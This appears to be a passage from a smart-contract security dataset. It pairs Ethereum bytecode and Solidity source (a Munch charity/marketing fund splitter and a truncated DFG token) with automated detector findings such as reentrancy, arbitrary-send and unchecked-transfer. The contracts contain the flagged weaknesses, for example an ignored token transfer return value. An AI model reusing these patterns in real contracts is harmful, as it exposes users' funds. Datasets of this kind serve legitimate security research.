ffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200317fb23adfd5872b91ada4adbf21883aafba483d67918ddbca19da8520543bb64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,824 |
0x922ee0dbca09c1c3e661b3a6ac2b39767f18067a
|
/*
* Munch contract to update our tokenomics.
*
* This contract is meant to be used as the charity wallet on
* the base Munch contract.
* Since the original contract relies on transfer() to send the ETH,
* we can't have this contract automatically forward the funds to wallets
* as the gas fees are higher than what transfer() supports.
* We are therefore introducing a public function which can be called to trigger
* the sending of funds to charity and marketing.
*
* Visit https://munchproject.io for more details.
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function transfer(address _to, uint256 _amount) external returns (bool);
function balanceOf(address _account) external view returns (uint256);
}
contract MunchTokenomicsV2 is Ownable {
using SafeMath for uint256;
address payable public charityWalletAddress;
address payable public marketingWalletAddress;
uint256 marketingPercentage; // integer value from 0 to 100
constructor(address payable charityWallet, address payable marketingWallet)
public
{
charityWalletAddress = charityWallet;
marketingWalletAddress = marketingWallet;
}
function setCharityWalletAddress(address payable charity)
external
onlyOwner
{
charityWalletAddress = charity;
}
function setMarketingWalletAddress(address payable marketing)
external
onlyOwner
{
marketingWalletAddress = marketing;
}
function setMarketingPercentage(uint256 percentage) external onlyOwner {
require(percentage >= 0 && percentage <= 100, "Invalid percentage");
marketingPercentage = percentage;
}
function distributeFunds() public {
if (address(this).balance > 0) {
uint256 balance = address(this).balance;
uint256 marketingShare = balance
.mul(marketingPercentage)
.div(100);
uint256 charityShare = balance.sub(marketingShare);
(bool successC, ) = charityWalletAddress.call{value: charityShare}("");
(bool successM, ) = marketingWalletAddress.call{value: marketingShare}("");
require(successC && successM, "Transfer failed.");
}
}
receive() external payable {}
// Allow owner to withdraw tokens sent by mistake to the contract
function withdrawToken(address token)
external
onlyOwner
{
IERC20 tokenContract = IERC20(token);
tokenContract.transfer(msg.sender, tokenContract.balanceOf(address(this)));
}
}
|
0x6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b1461012d5780638f95a44514610158578063d158272d14610178578063ec271be21461018d578063f2fde38b146101a25761009c565b80632d4ed650146100a15780633a6a4d2e146100c35780634cb80fd5146100d8578063715018a6146100f8578063894760691461010d5761009c565b3661009c57005b600080fd5b3480156100ad57600080fd5b506100c16100bc366004610817565b6101c2565b005b3480156100cf57600080fd5b506100c1610230565b3480156100e457600080fd5b506100c16100f33660046107db565b610369565b34801561010457600080fd5b506100c16103ca565b34801561011957600080fd5b506100c16101283660046107db565b610413565b34801561013957600080fd5b5061014261054e565b60405161014f919061084a565b60405180910390f35b34801561016457600080fd5b506100c16101733660046107db565b61055d565b34801561018457600080fd5b506101426105be565b34801561019957600080fd5b506101426105cd565b3480156101ae57600080fd5b506100c16101bd3660046107db565b6105dc565b6101ca61064d565b6001600160a01b03166101db61054e565b6001600160a01b03161461020a5760405162461bcd60e51b81526004016102019061097d565b60405180910390fd5b606481111561022b5760405162461bcd60e51b815260040161020190610910565b600355565b4715610367576000479050600061025d60646102576003548561065190919063ffffffff16565b9061069f565b9050600061026b83836106e1565b6001546040519192506000916001600160a01b0390911690839061028e90610847565b60006040518083038185875af1925050503d80600081146102cb576040519150601f19603f3d011682016040523d82523d6000602084013e6102d0565b606091505b50506002546040519192506000916001600160a01b039091169085906102f590610847565b60006040518083038185875af1925050503d8060008114610332576040519150601f19603f3d011682016040523d82523d6000602084013e610337565b606091505b505090508180156103455750805b6103615760405162461bcd60e51b8152600401610201906109b2565b50505050505b565b61037161064d565b6001600160a01b031661038261054e565b6001600160a01b0316146103a85760405162461bcd60e51b81526004016102019061097d565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b6103d261064d565b6001600160a01b03166103e361054e565b6001600160a01b0316146104095760405162461bcd60e51b81526004016102019061097d565b6103676000610723565b61041b61064d565b6001600160a01b031661042c61054e565b6001600160a01b0316146104525760405162461bcd60e51b81526004016102019061097d565b6040516370a0823160e01b815281906001600160a01b0382169063a9059cbb90339083906370a082319061048a90309060040161084a565b60206040518083038186803b1580156104a257600080fd5b505afa1580156104b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104da919061082f565b6040518363ffffffff1660e01b81526004016104f792919061085e565b602060405180830381600087803b15801561051157600080fd5b505af1158015610525573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061054991906107f7565b505050565b6000546001600160a01b031690565b61056561064d565b6001600160a01b031661057661054e565b6001600160a01b03161461059c5760405162461bcd60e51b81526004016102019061097d565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6002546001600160a01b031681565b6001546001600160a01b031681565b6105e461064d565b6001600160a01b03166105f561054e565b6001600160a01b03161461061b5760405162461bcd60e51b81526004016102019061097d565b6001600160a01b0381166106415760405162461bcd60e51b8152600401610201906108ca565b61064a81610723565b50565b3390565b60008261066057506000610699565b600061066c83856109fc565b90508261067985836109dc565b146106965760405162461bcd60e51b81526004016102019061093c565b90505b92915050565b600061069683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610773565b600061069683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506107aa565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600081836107945760405162461bcd60e51b81526004016102019190610877565b5060006107a184866109dc565b95945050505050565b600081848411156107ce5760405162461bcd60e51b81526004016102019190610877565b5060006107a18486610a1b565b6000602082840312156107ec578081fd5b813561069681610a48565b600060208284031215610808578081fd5b81518015158114610696578182fd5b600060208284031215610828578081fd5b5035919050565b600060208284031215610840578081fd5b5051919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6000602080835283518082850152825b818110156108a357858101830151858201604001528201610887565b818111156108b45783604083870101525b50601f01601f1916929092016040019392505050565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b602080825260129082015271496e76616c69642070657263656e7461676560701b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526010908201526f2a3930b739b332b9103330b4b632b21760811b604082015260600190565b6000826109f757634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610a1657610a16610a32565b500290565b600082821015610a2d57610a2d610a32565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461064a57600080fdfea26469706673582212202ff45afa9eff03fed8d8baf41e7e56ef5d15ec6ca48e890d2da2ef2780144da964736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,825 |
0x6834f9659d475fdc48dad65c7de7b0e2bc2b26b2
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public view returns (uint);
function balanceOf(address who) public view returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(msg.sender, owner, fee);
}
emit Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
uint _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
emit Transfer(_from, owner, fee);
}
emit Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/**
* Getters to allow the same blacklist to be used also by other contracts
*/
function getBlackListStatus(address _maker) external view returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external view returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
emit AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
emit RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
emit DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
/**
* Dig For Gold Token
*/
contract DFGToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _name Token Name
// @param _symbol Token symbol
// @param _balance Initial supply of the contract
